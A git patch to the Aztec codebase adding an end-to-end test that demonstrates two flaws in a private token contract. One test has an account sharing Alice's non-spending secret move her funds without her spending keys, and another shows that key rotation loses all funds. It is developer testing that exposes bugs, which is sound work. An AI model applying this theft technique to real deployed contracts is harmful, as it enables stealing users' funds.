From c8f230a0711b2ddf50b50e8d6cc339e2d4c3cfab Mon Sep 17 00:00:00 2001 From: LHerskind Date: Wed, 3 Jul 2024 09:28:15 +0000 Subject: [PATCH] test: add test to showcase private token exploits --- .../end-to-end/src/e2e_fees/exploit.test.ts | 89 +++++++++++++++++++ .../end-to-end/src/e2e_fees/fees_test.ts | 5 +- 2 files changed, 93 insertions(+), 1 deletion(-) create mode 100644 yarn-project/end-to-end/src/e2e_fees/exploit.test.ts diff --git a/yarn-project/end-to-end/src/e2e_fees/exploit.test.ts b/yarn-project/end-to-end/src/e2e_fees/exploit.test.ts new file mode 100644 index 000000000000..b24b59b4ba22 --- /dev/null +++ b/yarn-project/end-to-end/src/e2e_fees/exploit.test.ts @@ -0,0 +1,89 @@ +import { createAccounts } from '@aztec/accounts/testing'; +import { type AccountWallet } from '@aztec/aztec.js'; +import { type Fq, type Fr } from '@aztec/circuits.js'; +import { PrivateTokenContract } from '@aztec/noir-contracts.js'; + +import { FeesTest } from './fees_test.js'; + +describe('e2e_fees/private_refunds', () => { + let aliceWallet: AccountWallet; + let bobWallet: AccountWallet; + let privateToken: PrivateTokenContract; + + let accountKeys: [Fr, Fq][] = []; + + const t = new FeesTest('private_refunds'); + + beforeAll(async () => { + await t.applyInitialAccountsSnapshot(); + ({ aliceWallet, bobWallet, accountKeys } = await t.setup()); + + // https://media3.giphy.com/media/aqMY57vLdkghi/giphy.gif + + privateToken = await PrivateTokenContract.deploy(aliceWallet, aliceWallet.getAddress(), 'PVT', 'PVT', 18n) + .send() + .deployed(); + + const initialBalance = 10n ** 18n; + await privateToken.methods.privately_mint_private_note(initialBalance).send().wait(); + }); + + afterAll(async () => { + await t.teardown(); + }); + + it('steal funds without spending keys', async () => { + // The BEST approach here would be that we ran entirely different PXE and all. But this is fine to just show that if the PXE is compromised + // I can steal your funds WITHOUT the spending keys! + // + // To show this, we will create a fresh account that have the same secret for non spending keys (so different spending keys), and then we will + // have it make a transfer of Alice funds. + // + // The issue comes from there being no verifiable link between the address/spending keys and the notes. In the other tokens, the map is doing this, + // by inserting the address into the storage slot used. + + const nonSpendingSecret = accountKeys[0][0]; + const [freshWallet] = await createAccounts(t.pxe, 1, [nonSpendingSecret]); + + const balanceAlice = await privateToken.methods.balance_of_private(aliceWallet.getAddress()).simulate(); + const balanceBob = await privateToken.methods.balance_of_private(bobWallet.getAddress()).simulate(); + const balanceFresh = await privateToken.methods.balance_of_private(freshWallet.getAddress()).simulate(); + + // Now we do a transfer from Alice to Bob using Fresh (WITHOUT APPROVAL) + const transferAmount = balanceAlice / 2n; + await privateToken.withWallet(freshWallet).methods.transfer(bobWallet.getAddress(), transferAmount).send().wait(); + + const balanceAliceAfter = await privateToken.methods.balance_of_private(aliceWallet.getAddress()).simulate(); + const balanceBobAfter = await privateToken.methods.balance_of_private(bobWallet.getAddress()).simulate(); + const balanceFreshAfter = await privateToken.methods.balance_of_private(freshWallet.getAddress()).simulate(); + + t.logger.info(`Before: Balance Alice: ${balanceAlice}. Balance Bob: ${balanceBob}. Balance Fresh: ${balanceFresh}`); + t.logger.info( + `After: Balance Alice: ${balanceAliceAfter}. Balance Bob: ${balanceBobAfter}. Balance Fresh: ${balanceFreshAfter}`, + ); + + // They "share" balance! + expect(balanceAliceAfter).toBe(balanceAlice - transferAmount); + expect(balanceFreshAfter).toBe(balanceAliceAfter); + + // Bob got some funds! + expect(balanceBobAfter).toBe(transferAmount); + }); + + it('lose all my funds by rotating my keys', async () => { + // If I rotate my keys, I will lose all my funds. This is because the contract is not taking into account key rotation. + const balanceStart = await privateToken.methods.balance_of_private(aliceWallet.getAddress()).simulate(); + + // time to rotate my keys + await aliceWallet.rotateNullifierKeys(); + for (let i = 0; i < 5; i++) { + await privateToken.methods.private_get_name().send().wait(); + } + + const balanceEnd = await privateToken.methods.balance_of_unconstrained(aliceWallet.getAddress()).simulate(); + t.logger.info(`Balance start: ${balanceStart} -> Balance end: ${balanceEnd}`); + + expect(balanceStart).toBeGreaterThan(0n); + expect(balanceEnd).toBe(0n); + }); +}); diff --git a/yarn-project/end-to-end/src/e2e_fees/fees_test.ts b/yarn-project/end-to-end/src/e2e_fees/fees_test.ts index 83fb65f5775b..fd5bce8f7d41 100644 --- a/yarn-project/end-to-end/src/e2e_fees/fees_test.ts +++ b/yarn-project/end-to-end/src/e2e_fees/fees_test.ts @@ -14,7 +14,7 @@ import { createDebugLogger, } from '@aztec/aztec.js'; import { DefaultMultiCallEntrypoint } from '@aztec/aztec.js/entrypoint'; -import { EthAddress, GasSettings, computePartialAddress } from '@aztec/circuits.js'; +import { EthAddress, type Fq, GasSettings, computePartialAddress } from '@aztec/circuits.js'; import { createL1Clients } from '@aztec/ethereum'; import { PortalERC20Abi } from '@aztec/l1-artifacts'; import { @@ -84,6 +84,8 @@ export class FeesTest { public readonly SUBSCRIPTION_AMOUNT = 10_000n; public readonly APP_SPONSORED_TX_GAS_LIMIT = BigInt(10e9); + public accountKeys: [Fr, Fq][] = []; + constructor(testName: string) { this.logger = createDebugLogger(`aztec:e2e_fees:${testName}`); this.snapshotManager = createSnapshotManager(`e2e_fees/${testName}`, dataPath); @@ -162,6 +164,7 @@ export class FeesTest { async ({ accountKeys }, { pxe, aztecNode, aztecNodeConfig }) => { this.pxe = pxe; this.aztecNode = aztecNode; + this.accountKeys = accountKeys; const accountManagers = accountKeys.map(ak => getSchnorrAccount(pxe, ak[0], ak[1], 1)); await Promise.all(accountManagers.map(a => a.register())); this.wallets = await Promise.all(accountManagers.map(a => a.getWallet()));